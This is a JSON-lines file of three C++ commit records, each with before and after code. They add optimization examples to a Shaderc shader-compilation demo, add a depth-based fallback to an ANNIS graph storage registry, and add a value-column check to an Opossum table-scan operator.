{"text":"<commit_before>\/\/ Copyright 2016 The Shaderc Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ The program demonstrates basic shader compilation using the Shaderc C++ API.\n\/\/ For clarity, each method is deliberately self-contained.\n\/\/\n\/\/ Techniques demonstrated:\n\/\/  - Preprocessing GLSL source text\n\/\/  - Compiling a shader to SPIR-V assembly text\n\/\/  - Compliing a shader to a SPIR-V binary module\n\/\/  - Setting basic options: setting a preprocessor symbol.\n\/\/  - Checking compilation status and extracting an error message.\n\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include <shaderc\/shaderc.hpp>\n\n\/\/ Returns GLSL shader source text after preprocessing.\nstd::string preprocess_shader(const std::string& source_name,\n                              shaderc_shader_kind kind,\n                              const std::string& source) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n\n  shaderc::PreprocessedSourceCompilationResult result = compiler.PreprocessGlsl(\n      source.c_str(), source.size(), kind, source_name.c_str(), options);\n\n  if (result.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << result.GetErrorMessage();\n    return \"\";\n  }\n\n  return std::string(result.cbegin(), result.cend());\n}\n\n\/\/ Compiles a shader to SPIR-V assembly. Returns the assembly text\n\/\/ as a string.\nstd::string compile_file_to_assembly(const std::string& source_name,\n                                     shaderc_shader_kind kind,\n                                     const std::string& source) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n\n  shaderc::AssemblyCompilationResult result = compiler.CompileGlslToSpvAssembly(\n      source.c_str(), source.size(), kind, source_name.c_str(), options);\n\n  if (result.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << result.GetErrorMessage();\n    return \"\";\n  }\n\n  return std::string(result.cbegin(), result.cend());\n}\n\n\/\/ Compiles a shader to a SPIR-V binary. Returns the binary as\n\/\/ a vector of 32-bit words.\nstd::vector<uint32_t> compile_file(const std::string& source_name,\n                                   shaderc_shader_kind kind,\n                                   const std::string& source) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n\n  shaderc::SpvCompilationResult module = compiler.CompileGlslToSpv(\n      source.c_str(), source.size(), kind, source_name.c_str(), options);\n\n  if (module.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << module.GetErrorMessage();\n    return std::vector<uint32_t>();\n  }\n\n  std::vector<uint32_t> result(module.cbegin(), module.cend());\n  return result;\n}\n\nint main() {\n  const char kShaderSource[] =\n      \"#version 310 es\\nvoid main() {int x = MY_DEFINE; }\\n\";\n\n  auto preprocessed = preprocess_shader(\n      \"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n  std::cout << \"Compiled a vertex shader resulting in preprocessed text:\"\n            << std::endl\n            << preprocessed << std::endl;\n\n  auto assembly = compile_file_to_assembly(\n      \"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n  std::cout << \"SPIR-V assembly:\" << std::endl << assembly << std::endl;\n\n  auto spirv =\n      compile_file(\"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n  std::cout << \"Compiled to a binary module with \" << spirv.size() << \" words.\"\n            << std::endl;\n\n  const char kBadShaderSource[] =\n      \"#version 310 es\\nint main() { int main_should_be_void; }\\n\";\n\n  std::cout << std::endl << \"Compiling a bad shader:\" << std::endl;\n  compile_file(\"bad_src\", shaderc_glsl_vertex_shader, kBadShaderSource);\n\n  return 0;\n}\n<commit_msg>Add cases in examples to show optimization.<commit_after>\/\/ Copyright 2016 The Shaderc Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ The program demonstrates basic shader compilation using the Shaderc C++ API.\n\/\/ For clarity, each method is deliberately self-contained.\n\/\/\n\/\/ Techniques demonstrated:\n\/\/  - Preprocessing GLSL source text\n\/\/  - Compiling a shader to SPIR-V assembly text\n\/\/  - Compliing a shader to a SPIR-V binary module\n\/\/  - Performing optimization with compilation\n\/\/  - Setting basic options: setting a preprocessor symbol.\n\/\/  - Checking compilation status and extracting an error message.\n\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include <shaderc\/shaderc.hpp>\n\n\/\/ Returns GLSL shader source text after preprocessing.\nstd::string preprocess_shader(const std::string& source_name,\n                              shaderc_shader_kind kind,\n                              const std::string& source) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n\n  shaderc::PreprocessedSourceCompilationResult result =\n      compiler.PreprocessGlsl(source, kind, source_name.c_str(), options);\n\n  if (result.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << result.GetErrorMessage();\n    return \"\";\n  }\n\n  return {result.cbegin(), result.cend()};\n}\n\n\/\/ Compiles a shader to SPIR-V assembly. Returns the assembly text\n\/\/ as a string.\nstd::string compile_file_to_assembly(const std::string& source_name,\n                                     shaderc_shader_kind kind,\n                                     const std::string& source,\n                                     bool optimize = false) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n  if (optimize) options.SetOptimizationLevel(shaderc_optimization_level_size);\n\n  shaderc::AssemblyCompilationResult result = compiler.CompileGlslToSpvAssembly(\n      source, kind, source_name.c_str(), options);\n\n  if (result.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << result.GetErrorMessage();\n    return \"\";\n  }\n\n  return {result.cbegin(), result.cend()};\n}\n\n\/\/ Compiles a shader to a SPIR-V binary. Returns the binary as\n\/\/ a vector of 32-bit words.\nstd::vector<uint32_t> compile_file(const std::string& source_name,\n                                   shaderc_shader_kind kind,\n                                   const std::string& source,\n                                   bool optimize = false) {\n  shaderc::Compiler compiler;\n  shaderc::CompileOptions options;\n\n  \/\/ Like -DMY_DEFINE=1\n  options.AddMacroDefinition(\"MY_DEFINE\", \"1\");\n  if (optimize) options.SetOptimizationLevel(shaderc_optimization_level_size);\n\n  shaderc::SpvCompilationResult module =\n      compiler.CompileGlslToSpv(source, kind, source_name.c_str(), options);\n\n  if (module.GetCompilationStatus() != shaderc_compilation_status_success) {\n    std::cerr << module.GetErrorMessage();\n    return std::vector<uint32_t>();\n  }\n\n  return {module.cbegin(), module.cend()};\n}\n\nint main() {\n  const char kShaderSource[] =\n      \"#version 310 es\\n\"\n      \"void main() { int x = MY_DEFINE; }\\n\";\n\n  {  \/\/ Preprocessing\n    auto preprocessed = preprocess_shader(\n        \"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n    std::cout << \"Compiled a vertex shader resulting in preprocessed text:\"\n              << std::endl\n              << preprocessed << std::endl;\n  }\n\n  {  \/\/ Compiling\n    auto assembly = compile_file_to_assembly(\n        \"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n    std::cout << \"SPIR-V assembly:\" << std::endl << assembly << std::endl;\n\n    auto spirv =\n        compile_file(\"shader_src\", shaderc_glsl_vertex_shader, kShaderSource);\n    std::cout << \"Compiled to a binary module with \" << spirv.size()\n              << \" words.\" << std::endl;\n  }\n\n  {  \/\/ Compiling with optimizing\n    auto assembly =\n        compile_file_to_assembly(\"shader_src\", shaderc_glsl_vertex_shader,\n                                 kShaderSource, \/* optimize = *\/ true);\n    std::cout << \"Optimized SPIR-V assembly:\" << std::endl\n              << assembly << std::endl;\n\n    auto spirv = compile_file(\"shader_src\", shaderc_glsl_vertex_shader,\n                              kShaderSource, \/* optimize = *\/ true);\n    std::cout << \"Compiled to an optimized binary module with \" << spirv.size()\n              << \" words.\" << std::endl;\n  }\n\n  {  \/\/ Error case\n    const char kBadShaderSource[] =\n        \"#version 310 es\\nint main() { int main_should_be_void; }\\n\";\n\n    std::cout << std::endl << \"Compiling a bad shader:\" << std::endl;\n    compile_file(\"bad_src\", shaderc_glsl_vertex_shader, kBadShaderSource);\n  }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"graphstorageregistry.h\"\n\n#include \"edgedb\/coverageedb.h\"\n#include \"edgedb\/fallbackedgedb.h\"\n#include \"edgedb\/linearedgedb.h\"\n#include \"edgedb\/prepostorderstorage.h\"\n\nusing namespace annis;\n\nusing PrePostOrderStorageO32L32 = PrePostOrderStorage<uint32_t, int32_t>;\nusing PrePostOrderStorageO32L8 = PrePostOrderStorage<uint32_t, int8_t>;\n\nusing LinearEdgeDBP32 = LinearEdgeDB<uint32_t>;\nusing LinearEdgeDBP16 = LinearEdgeDB<uint16_t>;\nusing LinearEdgeDBP8 = LinearEdgeDB<uint8_t>;\n\nconst std::string GraphStorageRegistry::linearP32 = \"linear\";\nconst std::string GraphStorageRegistry::linearP16 = \"linearP16\";\nconst std::string GraphStorageRegistry::linearP8 = \"linearP8\";\nconst std::string GraphStorageRegistry::coverage = \"coverage\";\nconst std::string GraphStorageRegistry::prepostorderO32L32 = \"prepostorder\";\nconst std::string GraphStorageRegistry::prepostorderO32L8 = \"prepostorderO32L8\";\nconst std::string GraphStorageRegistry::fallback = \"fallback\";\n\nGraphStorageRegistry::GraphStorageRegistry()\n{\n  \/\/ set default values\n  setImplementation(coverage, ComponentType::COVERAGE);\n}\n\nGraphStorageRegistry::~GraphStorageRegistry()\n{\n\n}\n\nstd::string annis::GraphStorageRegistry::getName(const annis::ReadableGraphStorage *db)\n{\n  if(dynamic_cast<const CoverageEdgeDB*>(db) != nullptr)\n  {\n    return coverage;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP32*>(db) != nullptr)\n  {\n    return linearP32;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP16*>(db) != nullptr)\n  {\n    return linearP16;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP8*>(db) != nullptr)\n  {\n    return linearP8;\n  }\n  else if(dynamic_cast<const PrePostOrderStorageO32L32*>(db) != nullptr)\n  {\n    return prepostorderO32L32;\n  }\n  else if(dynamic_cast<const PrePostOrderStorageO32L8*>(db) != nullptr)\n  {\n    return prepostorderO32L8;\n  }\n  else if(dynamic_cast<const FallbackEdgeDB*>(db) != nullptr)\n  {\n    return fallback;\n  }\n  return \"\";\n}\n\nReadableGraphStorage *GraphStorageRegistry::createEdgeDB(std::string name, StringStorage& strings, const Component& component)\n{\n  if(name == coverage)\n  {\n    return new CoverageEdgeDB(strings, component);\n  }\n  else if(name == linearP32)\n  {\n    return new LinearEdgeDBP32(strings, component);\n  }\n  else if(name == linearP16)\n  {\n    return new LinearEdgeDBP16(strings, component);\n  }\n  else if(name == linearP8)\n  {\n    return new LinearEdgeDBP8(strings, component);\n  }\n  else if(name == prepostorderO32L32)\n  {\n    return new PrePostOrderStorageO32L32(strings, component);\n  }\n  else if(name == prepostorderO32L8)\n  {\n    return new PrePostOrderStorageO32L8(strings, component);\n  }\n  else if(name == fallback)\n  {\n    return new FallbackEdgeDB(strings, component);\n  }\n\n  return nullptr;\n}\n\nstd::string GraphStorageRegistry::getOptimizedImpl(const Component &component, GraphStatistic stats)\n{\n  std::string result = getImplByRegistry(component);\n  if(result.empty())\n  {\n    result = getImplByHeuristics(component, stats);\n  }\n  if(result.empty())\n  {\n    result = fallback;\n  }\n\n  return result;\n}\n\nReadableGraphStorage *GraphStorageRegistry::createEdgeDB(StringStorage &strings, const Component &component, GraphStatistic stats)\n{\n  std::string implName = getOptimizedImpl(component, stats);\n  return createEdgeDB(implName, strings, component);\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type)\n{\n  Component c = {type, \"\", \"\"};\n  componentToImpl[c] = implName;\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type, std::string layer)\n{\n  Component c = {type, layer, \"\"};\n  componentToImpl[c] = implName;\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type, std::string layer, std::string name)\n{\n  Component c = {type, layer, name};\n  componentToImpl[c] = implName;\n}\n\nstd::string GraphStorageRegistry::getImplByRegistry(const Component &component)\n{\n  std::string result = \"\";\n  \/\/ try to find a fully matching entry\n  auto it = componentToImpl.find(component);\n  if(it != componentToImpl.end())\n  {\n    result = it->second;\n  }\n  else\n  {\n    \/\/ try without the name\n    Component withoutName = {component.type, component.layer, \"\"};\n    it = componentToImpl.find(withoutName);\n    if(it != componentToImpl.end())\n    {\n      result = it->second;\n    }\n    else\n    {\n      \/\/ try only the component type\n      Component onlyType = {component.type, \"\", \"\"};\n      it = componentToImpl.find(onlyType);\n      if(it != componentToImpl.end())\n      {\n        result = it->second;\n      }\n    }\n  }\n\n  return result;\n}\n\nstd::string GraphStorageRegistry::getImplByHeuristics(const Component &component, GraphStatistic stats)\n{\n  std::string result = fallback;\n\n  if(stats.valid)\n  {\n    if(stats.rootedTree)\n    {\n      if(stats.maxFanOut <= 1)\n      {\n        \/\/ a tree where all nodes belong to the same path\n        if(stats.maxDepth < std::numeric_limits<uint8_t>::max())\n        {\n          result = linearP8;\n        }\n        else if(stats.maxDepth < std::numeric_limits<uint16_t>::max())\n        {\n          result = linearP16;\n        }\n        else if(stats.maxDepth < std::numeric_limits<uint32_t>::max())\n        {\n          result = linearP32;\n        }\n      }\n      else\n      {\n        \/\/ we have a real tree\n        result = getPrePostOrderBySize(stats);\n      }\n    }\n    else if(!stats.cyclic)\n    {\n      \/\/ it might be still wise to use pre\/post order if the graph is \"almost\" a tree, thus\n      \/\/ does not have many exceptions\n      if(stats.dfsVisitRatio <= 1.03)\n      {\n        \/\/ there is no more than 3% overhead\n        \/\/ TODO: how to determine the border?\n        result = getPrePostOrderBySize(stats);\n      }\n    }\n  }\n\n\n  return result;\n}\n<commit_msg>use fallback if maximal depth is 1<commit_after>#include \"graphstorageregistry.h\"\n\n#include \"edgedb\/coverageedb.h\"\n#include \"edgedb\/fallbackedgedb.h\"\n#include \"edgedb\/linearedgedb.h\"\n#include \"edgedb\/prepostorderstorage.h\"\n\nusing namespace annis;\n\nusing PrePostOrderStorageO32L32 = PrePostOrderStorage<uint32_t, int32_t>;\nusing PrePostOrderStorageO32L8 = PrePostOrderStorage<uint32_t, int8_t>;\n\nusing LinearEdgeDBP32 = LinearEdgeDB<uint32_t>;\nusing LinearEdgeDBP16 = LinearEdgeDB<uint16_t>;\nusing LinearEdgeDBP8 = LinearEdgeDB<uint8_t>;\n\nconst std::string GraphStorageRegistry::linearP32 = \"linear\";\nconst std::string GraphStorageRegistry::linearP16 = \"linearP16\";\nconst std::string GraphStorageRegistry::linearP8 = \"linearP8\";\nconst std::string GraphStorageRegistry::coverage = \"coverage\";\nconst std::string GraphStorageRegistry::prepostorderO32L32 = \"prepostorder\";\nconst std::string GraphStorageRegistry::prepostorderO32L8 = \"prepostorderO32L8\";\nconst std::string GraphStorageRegistry::fallback = \"fallback\";\n\nGraphStorageRegistry::GraphStorageRegistry()\n{\n  \/\/ set default values\n  setImplementation(coverage, ComponentType::COVERAGE);\n}\n\nGraphStorageRegistry::~GraphStorageRegistry()\n{\n\n}\n\nstd::string annis::GraphStorageRegistry::getName(const annis::ReadableGraphStorage *db)\n{\n  if(dynamic_cast<const CoverageEdgeDB*>(db) != nullptr)\n  {\n    return coverage;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP32*>(db) != nullptr)\n  {\n    return linearP32;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP16*>(db) != nullptr)\n  {\n    return linearP16;\n  }\n  else if(dynamic_cast<const LinearEdgeDBP8*>(db) != nullptr)\n  {\n    return linearP8;\n  }\n  else if(dynamic_cast<const PrePostOrderStorageO32L32*>(db) != nullptr)\n  {\n    return prepostorderO32L32;\n  }\n  else if(dynamic_cast<const PrePostOrderStorageO32L8*>(db) != nullptr)\n  {\n    return prepostorderO32L8;\n  }\n  else if(dynamic_cast<const FallbackEdgeDB*>(db) != nullptr)\n  {\n    return fallback;\n  }\n  return \"\";\n}\n\nReadableGraphStorage *GraphStorageRegistry::createEdgeDB(std::string name, StringStorage& strings, const Component& component)\n{\n  if(name == coverage)\n  {\n    return new CoverageEdgeDB(strings, component);\n  }\n  else if(name == linearP32)\n  {\n    return new LinearEdgeDBP32(strings, component);\n  }\n  else if(name == linearP16)\n  {\n    return new LinearEdgeDBP16(strings, component);\n  }\n  else if(name == linearP8)\n  {\n    return new LinearEdgeDBP8(strings, component);\n  }\n  else if(name == prepostorderO32L32)\n  {\n    return new PrePostOrderStorageO32L32(strings, component);\n  }\n  else if(name == prepostorderO32L8)\n  {\n    return new PrePostOrderStorageO32L8(strings, component);\n  }\n  else if(name == fallback)\n  {\n    return new FallbackEdgeDB(strings, component);\n  }\n\n  return nullptr;\n}\n\nstd::string GraphStorageRegistry::getOptimizedImpl(const Component &component, GraphStatistic stats)\n{\n  std::string result = getImplByRegistry(component);\n  if(result.empty())\n  {\n    result = getImplByHeuristics(component, stats);\n  }\n  if(result.empty())\n  {\n    result = fallback;\n  }\n\n  return result;\n}\n\nReadableGraphStorage *GraphStorageRegistry::createEdgeDB(StringStorage &strings, const Component &component, GraphStatistic stats)\n{\n  std::string implName = getOptimizedImpl(component, stats);\n  return createEdgeDB(implName, strings, component);\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type)\n{\n  Component c = {type, \"\", \"\"};\n  componentToImpl[c] = implName;\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type, std::string layer)\n{\n  Component c = {type, layer, \"\"};\n  componentToImpl[c] = implName;\n}\n\nvoid GraphStorageRegistry::setImplementation(std::string implName, ComponentType type, std::string layer, std::string name)\n{\n  Component c = {type, layer, name};\n  componentToImpl[c] = implName;\n}\n\nstd::string GraphStorageRegistry::getImplByRegistry(const Component &component)\n{\n  std::string result = \"\";\n  \/\/ try to find a fully matching entry\n  auto it = componentToImpl.find(component);\n  if(it != componentToImpl.end())\n  {\n    result = it->second;\n  }\n  else\n  {\n    \/\/ try without the name\n    Component withoutName = {component.type, component.layer, \"\"};\n    it = componentToImpl.find(withoutName);\n    if(it != componentToImpl.end())\n    {\n      result = it->second;\n    }\n    else\n    {\n      \/\/ try only the component type\n      Component onlyType = {component.type, \"\", \"\"};\n      it = componentToImpl.find(onlyType);\n      if(it != componentToImpl.end())\n      {\n        result = it->second;\n      }\n    }\n  }\n\n  return result;\n}\n\nstd::string GraphStorageRegistry::getImplByHeuristics(const Component &component, GraphStatistic stats)\n{\n  std::string result = fallback;\n\n  if(stats.valid)\n  {\n    if(stats.maxDepth <= 1)\n    {\n      \/\/ if we don't have any deep graph structures an adjencency list is always fasted (and has no overhead)\n      result = fallback;\n    }\n    else if(stats.rootedTree)\n    {\n      if(stats.maxFanOut <= 1)\n      {\n        \/\/ a tree where all nodes belong to the same path\n        if(stats.maxDepth < std::numeric_limits<uint8_t>::max())\n        {\n          result = linearP8;\n        }\n        else if(stats.maxDepth < std::numeric_limits<uint16_t>::max())\n        {\n          result = linearP16;\n        }\n        else if(stats.maxDepth < std::numeric_limits<uint32_t>::max())\n        {\n          result = linearP32;\n        }\n      }\n      else\n      {\n        \/\/ we have a real tree\n        result = getPrePostOrderBySize(stats);\n      }\n    }\n    else if(!stats.cyclic)\n    {\n      \/\/ it might be still wise to use pre\/post order if the graph is \"almost\" a tree, thus\n      \/\/ does not have many exceptions\n      if(stats.dfsVisitRatio <= 1.03)\n      {\n        \/\/ there is no more than 3% overhead\n        \/\/ TODO: how to determine the border?\n        result = getPrePostOrderBySize(stats);\n      }\n    }\n  }\n\n\n  return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <functional>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include \"abstract_operator.hpp\"\n#include \"storage\/reference_column.hpp\"\n#include \"types.hpp\"\n\nnamespace opossum {\n\ntemplate <typename T>\nclass TableScanImpl;\n\nclass TableScan : public AbstractOperator {\n public:\n  TableScan(const std::shared_ptr<AbstractOperator> in, const std::string &filter_column_name, const std::string &op,\n            const AllTypeVariant value);\n  virtual void execute();\n  virtual std::shared_ptr<Table> get_output() const;\n\n protected:\n  virtual const std::string get_name() const;\n  virtual uint8_t get_num_in_tables() const;\n  virtual uint8_t get_num_out_tables() const;\n\n  const std::unique_ptr<AbstractOperatorImpl> _impl;\n};\n\ntemplate <typename T>\nclass TableScanImpl : public AbstractOperatorImpl {\n public:\n  TableScanImpl(const std::shared_ptr<AbstractOperator> in, const std::string &filter_column_name,\n                const std::string &op, const AllTypeVariant value)\n      : _filter_value(type_cast<T>(value)),\n        _table(in->get_output()),\n        _filter_column_id(_table->get_column_id_by_name(filter_column_name)),\n        _op(op),\n        _output(new Table),\n        _pos_list(new PosList) {\n    for (size_t column_id = 0; column_id < _table->col_count(); ++column_id) {\n      std::shared_ptr<ReferenceColumn> ref;\n      if (auto ref_col = std::dynamic_pointer_cast<ReferenceColumn>(_table->get_chunk(0).get_column(column_id))) {\n        ref = std::make_shared<ReferenceColumn>(ref_col->get_referenced_table(), column_id, _pos_list);\n      } else {\n        ref = std::make_shared<ReferenceColumn>(_table, column_id, _pos_list);\n      }\n      _output->add_column(_table->get_column_name(column_id), _table->get_column_type(column_id), false);\n      _output->get_chunk(0).add_column(ref);\n      \/\/ TODO(Anyone): do we want to distinguish between chunk tables and \"reference tables\"?\n    }\n  }\n\n  template <typename Comp>\n  void execute_with_operator() {\n    Comp comp;\n    if (auto ref_col = std::dynamic_pointer_cast<ReferenceColumn>(_table->get_chunk(0).get_column(_filter_column_id))) {\n      auto val_table = ref_col->get_referenced_table();\n      std::vector<std::vector<T>> values = {};\n      for (size_t chunk = 0; chunk < val_table->chunk_count(); chunk++) {\n        values.emplace_back(\n            std::dynamic_pointer_cast<ValueColumn<T>>(val_table->get_chunk(chunk).get_column(_filter_column_id))\n                ->get_values());\n      }\n      auto in_pos_list = ref_col->get_pos_list();\n\n      for (size_t pos = 0; pos < in_pos_list->size(); pos++) {\n        auto chunk_id = get_chunk_id_from_row_id((*in_pos_list)[pos]);\n        auto chunk_offset = get_chunk_offset_from_row_id((*in_pos_list)[pos]);\n        if (comp(values[chunk_id][chunk_offset], _filter_value)) {\n          _pos_list->emplace_back(get_row_id_from_chunk_id_and_chunk_offset(chunk_id, chunk_offset));\n        }\n      }\n    } else {\n      for (ChunkID chunk_id = 0; chunk_id < _table->chunk_count(); ++chunk_id) {\n        auto &chunk = _table->get_chunk(chunk_id);\n        auto base_column = chunk.get_column(_filter_column_id);\n        auto &values = std::dynamic_pointer_cast<ValueColumn<T>>(base_column)->get_values();\n        for (ChunkOffset chunk_offset = 0; chunk_offset < chunk.size(); ++chunk_offset) {\n          if (comp(values[chunk_offset], _filter_value)) {\n            _pos_list->emplace_back(get_row_id_from_chunk_id_and_chunk_offset(chunk_id, chunk_offset));\n          }\n        }\n      }\n    }\n  }\n\n  void execute() {\n    \/\/ Definining all possible operators here might appear odd. Chances are, however, that we will not\n    \/\/ have a similar comparison anywhere else. Index scans, for example, would not use an adaptable binary\n    \/\/ predicate, but will have to use different methods (lower_range, upper_range, ...) based on the\n    \/\/ chosen operator. For now, we can save us some dark template magic by using the switch below.\n    \/\/ DO NOT copy this code, however, without discussing if there is a better way to avoid code duplication.\n\n    if (_op == \"=\")\n      execute_with_operator<std::equal_to<>>();\n    else if (_op == \"!=\")\n      execute_with_operator<std::not_equal_to<>>();\n    else if (_op == \"<\")\n      execute_with_operator<std::less<>>();\n    else if (_op == \"<=\")\n      execute_with_operator<std::less_equal<>>();\n    else if (_op == \">\")\n      execute_with_operator<std::greater<>>();\n    else if (_op == \">=\")\n      execute_with_operator<std::greater_equal<>>();\n    else\n      throw std::runtime_error(std::string(\"unknown operator \") + _op);\n  }\n\n  virtual std::shared_ptr<Table> get_output() const { return _output; }\n\n  const T _filter_value;\n  const std::shared_ptr<Table> _table;\n  const size_t _filter_column_id;\n  const std::string _op;\n  std::shared_ptr<Table> _output;\n  std::shared_ptr<PosList> _pos_list;\n};\n}  \/\/ namespace opossum\n<commit_msg>ensuring referenced columns during table scan are value columns<commit_after>#pragma once\n\n#include <functional>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include \"abstract_operator.hpp\"\n#include \"storage\/reference_column.hpp\"\n#include \"types.hpp\"\n\nnamespace opossum {\n\ntemplate <typename T>\nclass TableScanImpl;\n\nclass TableScan : public AbstractOperator {\n public:\n  TableScan(const std::shared_ptr<AbstractOperator> in, const std::string &filter_column_name, const std::string &op,\n            const AllTypeVariant value);\n  virtual void execute();\n  virtual std::shared_ptr<Table> get_output() const;\n\n protected:\n  virtual const std::string get_name() const;\n  virtual uint8_t get_num_in_tables() const;\n  virtual uint8_t get_num_out_tables() const;\n\n  const std::unique_ptr<AbstractOperatorImpl> _impl;\n};\n\ntemplate <typename T>\nclass TableScanImpl : public AbstractOperatorImpl {\n public:\n  TableScanImpl(const std::shared_ptr<AbstractOperator> in, const std::string &filter_column_name,\n                const std::string &op, const AllTypeVariant value)\n      : _filter_value(type_cast<T>(value)),\n        _table(in->get_output()),\n        _filter_column_id(_table->get_column_id_by_name(filter_column_name)),\n        _op(op),\n        _output(new Table),\n        _pos_list(new PosList) {\n    for (size_t column_id = 0; column_id < _table->col_count(); ++column_id) {\n      std::shared_ptr<ReferenceColumn> ref;\n      if (auto ref_col = std::dynamic_pointer_cast<ReferenceColumn>(_table->get_chunk(0).get_column(column_id))) {\n        ref = std::make_shared<ReferenceColumn>(ref_col->get_referenced_table(), column_id, _pos_list);\n      } else {\n        ref = std::make_shared<ReferenceColumn>(_table, column_id, _pos_list);\n      }\n      _output->add_column(_table->get_column_name(column_id), _table->get_column_type(column_id), false);\n      _output->get_chunk(0).add_column(ref);\n      \/\/ TODO(Anyone): do we want to distinguish between chunk tables and \"reference tables\"?\n    }\n  }\n\n  template <typename Comp>\n  void execute_with_operator() {\n    Comp comp;\n    if (auto ref_col = std::dynamic_pointer_cast<ReferenceColumn>(_table->get_chunk(0).get_column(_filter_column_id))) {\n      auto val_table = ref_col->get_referenced_table();\n      std::vector<std::vector<T>> values = {};\n      for (size_t chunk = 0; chunk < val_table->chunk_count(); chunk++) {\n        if (auto val_col =\n                std::dynamic_pointer_cast<ValueColumn<T>>(val_table->get_chunk(chunk).get_column(_filter_column_id))) {\n          values.emplace_back(val_col->get_values());\n        } else {\n          throw std::logic_error(\"Referenced table must only contain value columns\");\n        }\n      }\n      auto in_pos_list = ref_col->get_pos_list();\n\n      for (size_t pos = 0; pos < in_pos_list->size(); pos++) {\n        auto chunk_id = get_chunk_id_from_row_id((*in_pos_list)[pos]);\n        auto chunk_offset = get_chunk_offset_from_row_id((*in_pos_list)[pos]);\n        if (comp(values[chunk_id][chunk_offset], _filter_value)) {\n          _pos_list->emplace_back(get_row_id_from_chunk_id_and_chunk_offset(chunk_id, chunk_offset));\n        }\n      }\n    } else {\n      for (ChunkID chunk_id = 0; chunk_id < _table->chunk_count(); ++chunk_id) {\n        auto &chunk = _table->get_chunk(chunk_id);\n        auto base_column = chunk.get_column(_filter_column_id);\n        auto &values = std::dynamic_pointer_cast<ValueColumn<T>>(base_column)->get_values();\n        for (ChunkOffset chunk_offset = 0; chunk_offset < chunk.size(); ++chunk_offset) {\n          if (comp(values[chunk_offset], _filter_value)) {\n            _pos_list->emplace_back(get_row_id_from_chunk_id_and_chunk_offset(chunk_id, chunk_offset));\n          }\n        }\n      }\n    }\n  }\n\n  void execute() {\n    \/\/ Definining all possible operators here might appear odd. Chances are, however, that we will not\n    \/\/ have a similar comparison anywhere else. Index scans, for example, would not use an adaptable binary\n    \/\/ predicate, but will have to use different methods (lower_range, upper_range, ...) based on the\n    \/\/ chosen operator. For now, we can save us some dark template magic by using the switch below.\n    \/\/ DO NOT copy this code, however, without discussing if there is a better way to avoid code duplication.\n\n    if (_op == \"=\")\n      execute_with_operator<std::equal_to<>>();\n    else if (_op == \"!=\")\n      execute_with_operator<std::not_equal_to<>>();\n    else if (_op == \"<\")\n      execute_with_operator<std::less<>>();\n    else if (_op == \"<=\")\n      execute_with_operator<std::less_equal<>>();\n    else if (_op == \">\")\n      execute_with_operator<std::greater<>>();\n    else if (_op == \">=\")\n      execute_with_operator<std::greater_equal<>>();\n    else\n      throw std::runtime_error(std::string(\"unknown operator \") + _op);\n  }\n\n  virtual std::shared_ptr<Table> get_output() const { return _output; }\n\n  const T _filter_value;\n  const std::shared_ptr<Table> _table;\n  const size_t _filter_column_id;\n  const std::string _op;\n  std::shared_ptr<Table> _output;\n  std::shared_ptr<PosList> _pos_list;\n};\n}  \/\/ namespace opossum\n<|endoftext|>"}
